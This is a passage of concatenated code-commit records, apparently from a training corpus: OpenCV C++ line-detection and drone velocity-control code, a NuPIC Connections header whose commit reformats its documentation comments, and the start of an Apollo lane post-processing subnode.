found_lines[0];\n calculated_distance_from_vertical = distance_from_center(categorization.vertical[1], categorization.vertical[0],\n control_ptr->image.cols, control_ptr->image.rows);\n calculated_distance_from_horizontal = 0;\n intersection_point = cvPoint(center_x + cvRound(calculated_distance_from_vertical), center_y);\n\n if (true) {\n printf(\"Width of %7.1f with (%5.1f, %5.1f)\\n\", calculated_distance_from_vertical, categorization.vertical[0],\n categorization.vertical[1]);\n }\n } else if (found_lines.size() == 2) {\n \/\/TODO maybe this is a very bad assumption to make, that [0] is the vertical line\n categorization.vertical = found_lines[1];\n categorization.horizontal = found_lines[0];\n calculated_distance_from_vertical = distance_from_center(categorization.vertical[1], categorization.vertical[0],\n control_ptr->image.cols, control_ptr->image.rows);\n calculated_distance_from_horizontal = distance_from_center(categorization.horizontal[1],\n categorization.horizontal[0],\n control_ptr->image.cols, control_ptr->image.rows);\n\n intersection_point = find_intersection(categorization.vertical, categorization.horizontal);\n\n }\n if (found_lines.size() < 3) {\n \/\/For 1 or 2 lines\n\n line(control_ptr->image, center_point, intersection_point, color_white, 3, CV_AA); \/\/ draw the line to the center\n\n \/\/draw a cross at the intersection\n line(control_ptr->image, cvPoint(0 + intersection_point.x + 10, 0 + intersection_point.y),\n cvPoint(0 + intersection_point.x - 10, 0 + intersection_point.y), color_white, 3, CV_AA);\n line(control_ptr->image, cvPoint(0 + intersection_point.x, 0 + intersection_point.y + 10),\n cvPoint(0 + intersection_point.x, 0 + intersection_point.y - 10), color_white, 3, CV_AA);\n\n \/\/ I need to snap myself to the line\n if (categorization.vertical[0] >= deg2rad(5)) {\n control_ptr->velocities.vr = -.2;\n \/\/ printf(\"Turning Right\\n\");\n } else if (categorization.vertical[0] <= deg2rad(-1 * 5)) {\n control_ptr->velocities.vr = .2;\n \/\/ printf(\"Turning Left\\n\");\n } else {\n \/\/ printf(\"Checking Distance\\n\");\n \/\/ printf(\"Offset is: %5.2f with a distance of %5.2f and width of %5.2f halved to %5.2f\\n\", offset,\n\n \/\/ (double) control_ptr->image.cols, (control_ptr->image.cols \/ 2.0));\n int vertical_tolerance = 50;\n int horizontal_tolerance = 100;\n if (-1 * vertical_tolerance >= calculated_distance_from_vertical &&\n calculated_distance_from_vertical >= vertical_tolerance) {\n if (calculated_distance_from_vertical < 0) {\n \/\/we are to the right of the line\n \/\/we need to move left\n control_ptr->velocities.vy = 1;\n \/\/ printf(\"Move left\\n\");\n } else {\n \/\/we need to move right\n control_ptr->velocities.vy = -1;\n \/\/ printf(\"Move right\\n\");\n }\n }\n if (-1 * horizontal_tolerance >= calculated_distance_from_horizontal &&\n calculated_distance_from_horizontal >= horizontal_tolerance) {\n \/\/todo move up or down the line\n\n if (calculated_distance_from_horizontal > 0) {\n\/\/ we are above the line\n\/\/ so we need to move backwards\n\/\/ I think\n\/\/ todo check this\n control_ptr->velocities.vx = -1;\n\n } else {\n control_ptr->velocities.vx = 1;\n }\n }\n }\n } else {\n for (int i = 0; i < found_lines.size(); ++i) {\n float angle = abs(found_lines[i][0]);\n\n if (angle > deg2rad(0 - tolerance) && angle < deg2rad(0 + tolerance) && categorization.vertical == Vec2f()) {\n categorization.vertical = found_lines[i];\n }\n if (angle > deg2rad(90 - tolerance) && angle < deg2rad(90 + tolerance) && categorization.horizontal == Vec2f()) {\n categorization.horizontal = found_lines[i];\n }\n if (angle > deg2rad(45 - tolerance) && angle < deg2rad(45 + tolerance) && categorization.sloped == Vec2f()) {\n categorization.sloped = found_lines[i];\n if (found_lines[i][0] < 0) {\n categorization.d = direction::right;\n } else if (found_lines[i][0] > 0) {\n categorization.d = direction::left;\n }\n }\n\n }\n }\n\n if (found_lines.size() > 3) {\n \/\/print out the points of all 4+ lines\n for (int j = 0; j < (int) found_lines.size(); j++) {\n printf(\"(%5.1f, %5.0f) \", rad2deg(found_lines[j][0]) + 180, found_lines[j][1]);\n }\n printf(\"\\n\");\n }\n\n \/\/Draw all the lines\n if (categorization.horizontal != Vec2f()) {\n draw_line(control_ptr->image, categorization.horizontal, color_green);\n }\n if (categorization.vertical != Vec2f()) {\n draw_line(control_ptr->image, categorization.vertical, color_blue);\n }\n if (categorization.sloped != Vec2f()) {\n draw_line(control_ptr->image, categorization.sloped, color_red);\n }\n\n return;\n}\n\ncv::Point LineFollowing::find_intersection(Vec2f a, Vec2f b) {\n Point rv;\n bool do_intersect = parametricIntersect(a[1], a[0], b[1], b[0], rv.x, rv.y);\n if (!do_intersect) {\n printf(\"No intersection!\\n\");\n }\n\n return rv;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n\nusing namespace std;\nusing namespace cv;\n\nControlMovements lineFollowingControl() {\n\n line_main();\n\n return ControlMovements();\n}\n\nvoid line_main() {\n\/\/ printf(\"Hello, this is Caleb\\n\");\n\n VideoCapture cap(\"..\/..\/tests\/videos\/top_down_4.m4v\");\n if (!cap.isOpened()) \/\/ check if we succeeded\n return;\n\n namedWindow(\"edges\", CV_WINDOW_NORMAL);\n\/\/ Mat edges;\n for (; ;) {\n Mat mask;\n Mat frame, hsv;\n cap >> frame; \/\/ get a new frame from camera\n\n cvtColor(frame, hsv, CV_BGR2HSV);\n\n double minH = 30;\n double minS = 0;\n double minV = 240;\n double maxH = 80;\n double maxS = 70;\n double maxV = 255;\n\n cv::Scalar lower(minH, minS, minV);\n cv::Scalar upper(maxH, maxS, maxV);\n cv::inRange(hsv, lower, upper, mask);\n\n\/\/ bitwise_and(frame, frame, frame, mask);\n\n\/\/ medianBlur(mask, mask, 5);\n\n erode(mask, mask, Mat(), Point(-1,-1), 20);\n vector <Vec4i> lines;\n HoughLinesP(mask, lines, 1, CV_PI \/ 180.0, 10, 100, 10);\n\n printf(\"Adding in %d lines\\n\", (int) lines.size());\n for (size_t i = 0; i < lines.size(); i++) {\n Vec4i l = lines[i];\n line(frame, Point(l[0], l[1]), Point(l[2], l[3]), Scalar(0, 0, 255), 3, CV_AA);\n \/\/ break;\n }\n\/\/ if (lines.size() < 1) continue;\n\n imshow(\"edges\", mask);\n if (waitKey(30) >= 0) break;\n\n }\n \/\/ the camera will be deinitialized automatically in VideoCapture destructor\n return;\n}\n<commit_msg>messing with erode<commit_after>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n\nusing namespace std;\nusing namespace cv;\n\nControlMovements lineFollowingControl() {\n\n line_main();\n\n return ControlMovements();\n}\n\nvoid line_main() {\n\/\/ printf(\"Hello, this is Caleb\\n\");\n\n VideoCapture cap(\"..\/..\/tests\/videos\/top_down_4.m4v\");\n if (!cap.isOpened()) \/\/ check if we succeeded\n return;\n\n namedWindow(\"edges\", CV_WINDOW_NORMAL);\n\/\/ Mat edges;\n for (; ;) {\n Mat mask;\n Mat frame, hsv;\n cap >> frame; \/\/ get a new frame from camera\n\n cvtColor(frame, hsv, CV_BGR2HSV);\n\n double minH = 30;\n double minS = 0;\n double minV = 240;\n double maxH = 80;\n double maxS = 70;\n double maxV = 255;\n\n cv::Scalar lower(minH, minS, minV);\n cv::Scalar upper(maxH, maxS, maxV);\n cv::inRange(hsv, lower, upper, mask);\n\n\/\/ bitwise_and(frame, frame, frame, mask);\n\n\/\/ medianBlur(mask, mask, 5);\n\n erode(mask, mask, Mat(), Point(-1,-1), 12);\n vector <Vec4i> lines;\n HoughLinesP(mask, lines, 1, CV_PI \/ 180.0, 10, 100, 10);\n\n printf(\"Adding in %d lines\\n\", (int) lines.size());\n for (size_t i = 0; i < lines.size(); i++) {\n Vec4i l = lines[i];\n line(frame, Point(l[0], l[1]), Point(l[2], l[3]), Scalar(0, 0, 255), 3, CV_AA);\n \/\/ break;\n }\n\/\/ if (lines.size() < 1) continue;\n\n imshow(\"edges\", mask);\n if (waitKey(30) >= 0) break;\n\n }\n \/\/ the camera will be deinitialized automatically in VideoCapture destructor\n return;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n\n\nusing namespace std;\nusing namespace cv;\n\nvoid detect_lines(Mat &original_frame, double scale_factor);\n\n\n#pragma clang diagnostic push\n#pragma ide diagnostic ignored \"OCUnusedGlobalDeclarationInspection\"\nvoid line_main() {\n\/\/ printf(\"Hello, this is Caleb\\n\");\n\/\/ no this is patric\n\n VideoCapture cap(\"..\/..\/tests\/videos\/top_down_1.m4v\");\n if (!cap.isOpened()) \/\/ check if we succeeded\n return;\n\n\/\/ Mat edges;\n for (; ;) {\n Mat frame;\n cap >> frame; \/\/ get a new frame from camera\n\n detect_lines(frame, .2);\n\n\n if (waitKey(30) >= 0) break;\n\n }\n \/\/ the camera will be deinitialized automatically in VideoCapture destructor\n\n return;\n}\n#pragma clang diagnostic pop\n\nvoid detect_lines(Mat &original_frame, double scale_factor) {\n Mat hsv;\n Mat mask;\n Mat image;\n\n resize(original_frame, image, Size(), scale_factor, scale_factor); \/\/Potentially scale down the frame\n\n cvtColor(image, hsv, CV_BGR2HSV); \/\/ Image is now HSV\n\n double minH = 50;\n double minS = 20;\n double minV = 150;\n double maxH = 125;\n double maxS = 100;\n double maxV = 255;\n\n\n Scalar lower(minH, minS, minV);\n Scalar upper(maxH, maxS, maxV);\n inRange(hsv, lower, upper, mask); \/\/ Create a mask of only the desired color\n\n\n vector<Vec4i> lines;\n HoughLinesP(mask, lines, 1, CV_PI \/ 180.0, 10, 50, 10); \/\/ Find all lines in the image\n\n printf(\"Adding in %d lines\\n\", (int) lines.size());\n for (size_t i = 0; i < lines.size(); i++) {\n Vec4i l = lines[i];\n line(image, Point(l[0], l[1]), Point(l[2], l[3]), Scalar(0, 0, 255), 1, CV_AA);\n \/\/ break;\n }\n\/\/ if (lines.size() < 1) continue;\n\n\/\/ imshow(\"line_window\", image);\n original_frame = image;\n}\n\nvoid LineFollowing::initialize() {\n namedWindow(\"line_window\", CV_WINDOW_NORMAL);\n return;\n}\n\nvoid LineFollowing::close() {\n return;\n}\n\nControlMovements LineFollowing::fly(cv::Mat *image) {\n ControlMovements velocities;\n\n velocities.vx = 0;\n velocities.vy = 0;\n velocities.vz = 0;\n velocities.vr = 0;\n\n detect_lines(*image, .3);\n\n return velocities;\n}\n<commit_msg>shows lines on the main screen<commit_after>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n\n\nusing namespace std;\nusing namespace cv;\n\nvoid detect_lines(Mat &original_frame, double scale_factor);\n\n\n#pragma clang diagnostic push\n#pragma ide diagnostic ignored \"OCUnusedGlobalDeclarationInspection\"\nvoid line_main() {\n\/\/ printf(\"Hello, this is Caleb\\n\");\n\/\/ no this is patric\n\n VideoCapture cap(\"..\/..\/tests\/videos\/top_down_1.m4v\");\n if (!cap.isOpened()) \/\/ check if we succeeded\n return;\n\n\/\/ Mat edges;\n for (; ;) {\n Mat frame;\n cap >> frame; \/\/ get a new frame from camera\n\n detect_lines(frame, .2);\n\n\n if (waitKey(30) >= 0) break;\n\n }\n \/\/ the camera will be deinitialized automatically in VideoCapture destructor\n\n return;\n}\n#pragma clang diagnostic pop\n\nvoid detect_lines(Mat &original_frame, double scale_factor) {\n Mat hsv;\n Mat mask;\n Mat image;\n\n resize(original_frame, image, Size(), scale_factor, scale_factor); \/\/Potentially scale down the frame\n\n cvtColor(image, hsv, CV_BGR2HSV); \/\/ Image is now HSV\n\n double minH = 50;\n double minS = 20;\n double minV = 150;\n double maxH = 125;\n double maxS = 100;\n double maxV = 255;\n\n\n Scalar lower(minH, minS, minV);\n Scalar upper(maxH, maxS, maxV);\n inRange(hsv, lower, upper, mask); \/\/ Create a mask of only the desired color\n\n\n vector<Vec4i> lines;\n HoughLinesP(mask, lines, 1, CV_PI \/ 180.0, 10, 50, 10); \/\/ Find all lines in the image\n\n printf(\"Adding in %d lines\\n\", (int) lines.size());\n for (size_t i = 0; i < lines.size(); i++) {\n Vec4i l = lines[i];\n line(image, Point(l[0], l[1]), Point(l[2], l[3]), Scalar(0, 0, 255), 1, CV_AA);\n \/\/ break;\n }\n\/\/ if (lines.size() < 1) continue;\n\n\/\/ imshow(\"line_window\", image);\n resize(image, original_frame, Size(), 1\/scale_factor, 1\/scale_factor);\n}\n\nvoid LineFollowing::initialize() {\n namedWindow(\"line_window\", CV_WINDOW_NORMAL);\n return;\n}\n\nvoid LineFollowing::close() {\n return;\n}\n\nControlMovements LineFollowing::fly(cv::Mat *image) {\n ControlMovements velocities;\n\n velocities.vx = 0;\n velocities.vy = 0;\n velocities.vz = 0;\n velocities.vr = 0;\n\n detect_lines(*image, .3);\n\n return velocities;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* ---------------------------------------------------------------------\n * Numenta Platform for Intelligent Computing (NuPIC)\n * Copyright (C) 2014, Numenta, Inc. Unless you have an agreement\n * with Numenta, Inc., for a separate license for this software code, the\n * following terms and conditions apply:\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 3 as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see http:\/\/www.gnu.org\/licenses.\n *\n * http:\/\/numenta.org\/licenses\/\n * ----------------------------------------------------------------------\n *\/\n\n\/** @file\n * Definitions for the Connections class in C++\n *\/\n\n#ifndef NTA_CONNECTIONS_HPP\n#define NTA_CONNECTIONS_HPP\n\n#include <vector>\n#include <utility>\n#include <nta\/types\/Types.hpp>\n#include <nta\/math\/Math.hpp>\n\nnamespace nta\n{\n\n namespace algorithms\n {\n\n namespace connections\n {\n typedef UInt32 CellIdx;\n typedef unsigned char SegmentIdx;\n typedef unsigned char SynapseIdx;\n typedef Real32 Permanence;\n\n \/**\n * Cell class used in Connections.\n *\n * @b Description\n * The Cell class is a data structure that points to a particular cell.\n *\n * @param idx Index of cell.\n * \n *\/\n struct Cell\n {\n CellIdx idx;\n\n Cell(CellIdx idx) : idx(idx) {}\n Cell() {}\n\n bool operator==(const Cell &other) const;\n bool operator<=(const Cell &other) const;\n bool operator<(const Cell &other) const;\n bool operator>=(const Cell &other) const;\n bool operator>(const Cell &other) const;\n };\n\n \/**\n * Segment class used in Connections.\n *\n * @b Description\n * The Segment class is a data structure that points to a particular\n * segment on a particular cell.\n *\n * @param idx Index of segment.\n * @param cellIdx Index of cell.\n * \n *\/\n struct Segment\n {\n SegmentIdx idx;\n Cell cell;\n\n Segment(SegmentIdx idx, Cell cell) : idx(idx), cell(cell) {}\n Segment() {}\n\n bool operator==(const Segment &other) const;\n bool operator<=(const Segment &other) const;\n bool operator<(const Segment &other) const;\n bool operator>=(const Segment &other) const;\n bool operator>(const Segment &other) const;\n };\n\n \/**\n * Synapse class used in Connections.\n *\n * @b Description\n * The Synapse class is a data structure that points to a particular\n * synapse on a particular segment on a particular cell.\n *\n * @param idx Index of synapse in segment.\n * @param segmentIdx Index of segment in cell.\n * @param cellIdx Index of cell.\n * \n *\/\n struct Synapse\n {\n SynapseIdx idx;\n Segment segment;\n\n Synapse(SynapseIdx idx, Segment segment) : idx(idx), segment(segment) {}\n Synapse() {}\n\n bool operator==(const Synapse &other) const;\n };\n\n \/**\n * SynapseData class used in Connections.\n *\n * @b Description\n * The SynapseData class is a data structure that contains the data for a\n * synapse on a segment.\n *\n * @param presynapticCellIdx Cell that this synapse gets input from.\n * @param permanence Permanence of synapse.\n * \n *\/\n struct SynapseData\n {\n Cell presynapticCell;\n Permanence permanence;\n };\n\n \/**\n * SegmentData class used in Connections.\n *\n * @b Description\n * The SegmentData class is a data structure that contains the data for a\n * segment on a cell.\n *\n * @param synapses Data for synapses that this segment contains.\n * \n *\/\n struct SegmentData\n {\n std::vector<SynapseData> synapses;\n };\n\n \/**\n * CellData class used in Connections.\n *\n * @b Description\n * The CellData class is a data structure that contains the data for a\n * cell.\n *\n * @param segments Data for segments that this cell contains.\n * \n *\/\n struct CellData\n {\n std::vector<SegmentData> segments;\n };\n\n \/**\n * Activity class used in Connections.\n *\n * @b Description\n * The Activity class is a data structure that represents the\n * activity of a collection of cells, as computed by propagating\n * input through connections.\n * \n *\/\n struct Activity\n {\n std::map< Cell, std::vector<Segment> > activeSegmentsForCell;\n std::map<Segment, UInt> numActiveSynapsesForSegment;\n };\n\n \/**\n * Connections implementation in C++.\n *\n * @b Description\n * The Connections class is a data structure that represents the\n * connections of a collection of cells. It is used in the HTM\n * learning algorithms to store and access data related to the\n * connectivity of cells.\n *\n * It's main utility is to provide a common, optimized data structure\n * that all HTM learning algorithms can use. It is flexible enough to\n * support any learning algorithm that operates on a collection of cells.\n *\n * Each type of connection (proximal, distal, apical) should be\n * represented by a different instantiation of this class. This class\n * will help compute the activity along those connections due to active\n * input cells. The responsibility for what effect that activity has on\n * the cells and connections lies in the user of this class.\n *\n * This class is optimized to store connections between cells, and\n * compute the activity of cells due to input over the connections.\n * \n *\/\n class Connections\n {\n public:\n Connections(CellIdx numCells);\n\n virtual ~Connections() {}\n\n \/**\n Creates a segment on the specified cell.\n\n @param cell Cell to create segment on.\n\n @retval Created segment.\n *\/\n Segment createSegment(const Cell& cell);\n\n \/**\n Creates a synapse on the specified segment.\n\n @param segment Segment to create synapse on.\n @param presynapticCell Cell to synapse on.\n @param permanence Initial permanence of new synapse.\n\n @reval Created synapse.\n *\/\n Synapse createSynapse(const Segment& segment,\n const Cell& presynapticCell,\n Permanence permanence);\n\n \/**\n Updates a synapse's permanence.\n\n @param synapse Synapse to update.\n @param permanence New permanence.\n *\/\n void updateSynapsePermanence(const Synapse& synapse,\n Permanence permanence);\n\n \/**\n Gets the segments for a cell.\n\n @param cell Cell to get segments for.\n\n @retval Segments on cell.\n *\/\n std::vector<Segment> segmentsForCell(const Cell& cell);\n\n \/**\n Gets the synapses for a segment.\n\n @param segment Segment to get synapses for.\n\n @retval Synapses on segment.\n *\/\n std::vector<Synapse> synapsesForSegment(const Segment& segment);\n\n \/**\n Gets the data for a synapse.\n\n @param synapse Synapse to get data for.\n\n @retval Synapse data.\n *\/\n SynapseData dataForSynapse(const Synapse& synapse) const;\n\n \/**\n Gets the segment with the most active synapses due to given input,\n from among all the segments on all the given cells.\n\n @param cells Cells to look among.\n @param input Active cells in the input.\n @param synapseThreshold Only consider segments with number of active synapses greater than this threshold.\n @param segment Segment to return.\n\n @retval Segment found?\n *\/\n bool mostActiveSegmentForCells(const std::vector<Cell>& cells,\n std::vector<Cell> input,\n UInt synapseThreshold,\n Segment& retSegment) const;\n\n \/**\n Forward-propagates input to synapses, dendrites, and cells, to\n compute their activity.\n\n @param input Active cells in the input.\n @param permanenceThreshold Only consider synapses with permanences greater than this threshold.\n @param synapseThreshold Only consider segments with number of active synapses greater than this threshold.\n\n @retval Activity to return.\n *\/\n Activity computeActivity(const std::vector<Cell>& input,\n Permanence permanenceThreshold,\n UInt synapseThreshold) const;\n\n \/**\n Gets the active segments from activity.\n\n @param activity Activity.\n\n @retval Active segments.\n *\/\n std::vector<Segment> activeSegments(const Activity& activity);\n\n \/**\n Gets the active cells from activity.\n\n @param activity Activity.\n\n @retval Active cells.\n *\/\n std::vector<Cell> activeCells(const Activity& activity);\n\n \/\/ Debugging\n\n \/**\n Gets the number of segments.\n\n @retval Number of segments.\n *\/\n UInt numSegments() const;\n\n \/**\n Gets the number of synapses.\n\n @retval Number of synapses.\n *\/\n UInt numSynapses() const;\n\n private:\n std::vector<CellData> cells_;\n \/\/ Mapping (presynaptic cell => synapses) used in forward propagation\n std::map< Cell, std::vector<Synapse> > synapsesForPresynapticCell_;\n }; \/\/ end class Connections\n\n } \/\/ end namespace connections\n\n } \/\/ end namespace algorithms\n\n} \/\/ end namespace nta\n\n#endif \/\/ NTA_CONNECTIONS_HPP\n<commit_msg>Formatting of documentation<commit_after>\/* ---------------------------------------------------------------------\n * Numenta Platform for Intelligent Computing (NuPIC)\n * Copyright (C) 2014, Numenta, Inc. Unless you have an agreement\n * with Numenta, Inc., for a separate license for this software code, the\n * following terms and conditions apply:\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 3 as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see http:\/\/www.gnu.org\/licenses.\n *\n * http:\/\/numenta.org\/licenses\/\n * ----------------------------------------------------------------------\n *\/\n\n\/** @file\n * Definitions for the Connections class in C++\n *\/\n\n#ifndef NTA_CONNECTIONS_HPP\n#define NTA_CONNECTIONS_HPP\n\n#include <vector>\n#include <utility>\n#include <nta\/types\/Types.hpp>\n#include <nta\/math\/Math.hpp>\n\nnamespace nta\n{\n\n namespace algorithms\n {\n\n namespace connections\n {\n typedef UInt32 CellIdx;\n typedef unsigned char SegmentIdx;\n typedef unsigned char SynapseIdx;\n typedef Real32 Permanence;\n\n \/**\n * Cell class used in Connections.\n *\n * @b Description\n * The Cell class is a data structure that points to a particular cell.\n *\n * @param idx Index of cell.\n * \n *\/\n struct Cell\n {\n CellIdx idx;\n\n Cell(CellIdx idx) : idx(idx) {}\n Cell() {}\n\n bool operator==(const Cell &other) const;\n bool operator<=(const Cell &other) const;\n bool operator<(const Cell &other) const;\n bool operator>=(const Cell &other) const;\n bool operator>(const Cell &other) const;\n };\n\n \/**\n * Segment class used in Connections.\n *\n * @b Description\n * The Segment class is a data structure that points to a particular\n * segment on a particular cell.\n *\n * @param idx Index of segment.\n * @param cellIdx Index of cell.\n * \n *\/\n struct Segment\n {\n SegmentIdx idx;\n Cell cell;\n\n Segment(SegmentIdx idx, Cell cell) : idx(idx), cell(cell) {}\n Segment() {}\n\n bool operator==(const Segment &other) const;\n bool operator<=(const Segment &other) const;\n bool operator<(const Segment &other) const;\n bool operator>=(const Segment &other) const;\n bool operator>(const Segment &other) const;\n };\n\n \/**\n * Synapse class used in Connections.\n *\n * @b Description\n * The Synapse class is a data structure that points to a particular\n * synapse on a particular segment on a particular cell.\n *\n * @param idx Index of synapse in segment.\n * @param segmentIdx Index of segment in cell.\n * @param cellIdx Index of cell.\n * \n *\/\n struct Synapse\n {\n SynapseIdx idx;\n Segment segment;\n\n Synapse(SynapseIdx idx, Segment segment) : idx(idx), segment(segment) {}\n Synapse() {}\n\n bool operator==(const Synapse &other) const;\n };\n\n \/**\n * SynapseData class used in Connections.\n *\n * @b Description\n * The SynapseData class is a data structure that contains the data for a\n * synapse on a segment.\n *\n * @param presynapticCellIdx Cell that this synapse gets input from.\n * @param permanence Permanence of synapse.\n * \n *\/\n struct SynapseData\n {\n Cell presynapticCell;\n Permanence permanence;\n };\n\n \/**\n * SegmentData class used in Connections.\n *\n * @b Description\n * The SegmentData class is a data structure that contains the data for a\n * segment on a cell.\n *\n * @param synapses Data for synapses that this segment contains.\n * \n *\/\n struct SegmentData\n {\n std::vector<SynapseData> synapses;\n };\n\n \/**\n * CellData class used in Connections.\n *\n * @b Description\n * The CellData class is a data structure that contains the data for a\n * cell.\n *\n * @param segments Data for segments that this cell contains.\n * \n *\/\n struct CellData\n {\n std::vector<SegmentData> segments;\n };\n\n \/**\n * Activity class used in Connections.\n *\n * @b Description\n * The Activity class is a data structure that represents the\n * activity of a collection of cells, as computed by propagating\n * input through connections.\n * \n *\/\n struct Activity\n {\n std::map< Cell, std::vector<Segment> > activeSegmentsForCell;\n std::map<Segment, UInt> numActiveSynapsesForSegment;\n };\n\n \/**\n * Connections implementation in C++.\n *\n * @b Description\n * The Connections class is a data structure that represents the\n * connections of a collection of cells. It is used in the HTM\n * learning algorithms to store and access data related to the\n * connectivity of cells.\n *\n * It's main utility is to provide a common, optimized data structure\n * that all HTM learning algorithms can use. It is flexible enough to\n * support any learning algorithm that operates on a collection of cells.\n *\n * Each type of connection (proximal, distal, apical) should be\n * represented by a different instantiation of this class. This class\n * will help compute the activity along those connections due to active\n * input cells. The responsibility for what effect that activity has on\n * the cells and connections lies in the user of this class.\n *\n * This class is optimized to store connections between cells, and\n * compute the activity of cells due to input over the connections.\n * \n *\/\n class Connections\n {\n public:\n Connections(CellIdx numCells);\n\n virtual ~Connections() {}\n\n \/**\n * Creates a segment on the specified cell.\n *\n * @param cell Cell to create segment on.\n *\n * @retval Created segment.\n *\/\n Segment createSegment(const Cell& cell);\n\n \/**\n * Creates a synapse on the specified segment.\n *\n * @param segment Segment to create synapse on.\n * @param presynapticCell Cell to synapse on.\n * @param permanence Initial permanence of new synapse.\n *\n * @reval Created synapse.\n *\/\n Synapse createSynapse(const Segment& segment,\n const Cell& presynapticCell,\n Permanence permanence);\n\n \/**\n * Updates a synapse's permanence.\n *\n * @param synapse Synapse to update.\n * @param permanence New permanence.\n *\/\n void updateSynapsePermanence(const Synapse& synapse,\n Permanence permanence);\n\n \/**\n * Gets the segments for a cell.\n *\n * @param cell Cell to get segments for.\n *\n * @retval Segments on cell.\n *\/\n std::vector<Segment> segmentsForCell(const Cell& cell);\n\n \/**\n * Gets the synapses for a segment.\n *\n * @param segment Segment to get synapses for.\n *\n * @retval Synapses on segment.\n *\/\n std::vector<Synapse> synapsesForSegment(const Segment& segment);\n\n \/**\n * Gets the data for a synapse.\n *\n * @param synapse Synapse to get data for.\n *\n * @retval Synapse data.\n *\/\n SynapseData dataForSynapse(const Synapse& synapse) const;\n\n \/**\n * Gets the segment with the most active synapses due to given input,\n * from among all the segments on all the given cells.\n *\n * @param cells Cells to look among.\n * @param input Active cells in the input.\n * @param synapseThreshold Only consider segments with number of active synapses greater than this threshold.\n * @param segment Segment to return.\n *\n * @retval Segment found?\n *\/\n bool mostActiveSegmentForCells(const std::vector<Cell>& cells,\n std::vector<Cell> input,\n UInt synapseThreshold,\n Segment& retSegment) const;\n\n \/**\n * Forward-propagates input to synapses, dendrites, and cells, to\n * compute their activity.\n *\n * @param input Active cells in the input.\n * @param permanenceThreshold Only consider synapses with permanences greater than this threshold.\n * @param synapseThreshold Only consider segments with number of active synapses greater than this threshold.\n *\n * @retval Activity to return.\n *\/\n Activity computeActivity(const std::vector<Cell>& input,\n Permanence permanenceThreshold,\n UInt synapseThreshold) const;\n\n \/**\n * Gets the active segments from activity.\n *\n * @param activity Activity.\n *\n * @retval Active segments.\n *\/\n std::vector<Segment> activeSegments(const Activity& activity);\n\n \/**\n * Gets the active cells from activity.\n *\n * @param activity Activity.\n *\n * @retval Active cells.\n *\/\n std::vector<Cell> activeCells(const Activity& activity);\n\n \/\/ Debugging\n\n \/**\n * Gets the number of segments.\n *\n * @retval Number of segments.\n *\/\n UInt numSegments() const;\n\n \/**\n * Gets the number of synapses.\n *\n * @retval Number of synapses.\n *\/\n UInt numSynapses() const;\n\n private:\n std::vector<CellData> cells_;\n \/\/ Mapping (presynaptic cell => synapses) used in forward propagation\n std::map< Cell, std::vector<Synapse> > synapsesForPresynapticCell_;\n }; \/\/ end class Connections\n\n } \/\/ end namespace connections\n\n } \/\/ end namespace algorithms\n\n} \/\/ end namespace nta\n\n#endif \/\/ NTA_CONNECTIONS_HPP\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * Copyright 2018 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/\/ @brief: lane_post_processing_subnode source file\n\n#include \"modules\/perception\/obstacle\/onboard\/lane_post_processing_subnode.h\"\n\n#include <unordered_map>\n#include <cfloat>\n\n#include \"Eigen\/Dense\"\n#include \"opencv2\/opencv.hpp\"\n#include \"yaml-cpp\/yaml.h\"\n\n#include \"modules\/common\/log.h\"\n#include \"modules\/common\/time\/timer.h\"\n#include \"modules\/common\/time\/time_util.h\"\n#include \"modules\/perception\/common\/perception_gflags.h\"\n#include \"modules\/perception\/lib\/config_manager\/config_manager.h\"\n#include \"modules\/perception\/obstacle\/camera\/lane_post_process\/cc_lane_post_processor\/cc_lane_post_processor.h\"\n#include \"modules\/perception\/onboard\/event_manager.h\"\n#include \"modules\/perception\/onboard\/shared_data_manager.h\"\n#include \"modules\/perception\/onboard\/types.h\"\n#include \"modules\/perception\/proto\/perception_obstacle.pb.h\"\n\nnamespace apollo {\nnamespace perception {\n\nusing std::string;\nusing std::unordered_map;\nusing std::shared_ptr;\nusing apollo::common::Status;\nusing apollo::common::ErrorCode;\nusing apollo::common::time::Timer;\n\nbool LanePostProcessingSubnode::InitInternal() {\n \/\/ get Subnode config in DAG streaming\n unordered_map<string, string> fields;\n SubnodeHelper::ParseReserveField(reserve_, &fields);\n if (fields.count(\"publish\") && stoi(fields[\"publish\"]) != 0) {\n publish_ = true;\n }\n\n \/\/ init shared data\n if (!InitSharedData()) {\n AERROR << \"failed to init shared data.\";\n return false;\n }\n\n RegistAllAlgorithms();\n\n \/\/ init plugins\n if (!InitAlgorithmPlugin()) {\n AERROR << \"failed to init algorithm plugins.\";\n return false;\n }\n\n AINFO << \"init LanePostProcessing subnode successfully.\";\n return true;\n}\n\nbool LanePostProcessingSubnode::InitSharedData() {\n if (shared_data_manager_ == nullptr) {\n AERROR << \"shared data manager is a null pointer.\";\n return false;\n }\n\n \/\/ init preprocess_data\n camera_object_data_ = dynamic_cast<CameraObjectData *>(\n shared_data_manager_->GetSharedData(\"CameraObjectData\"));\n if 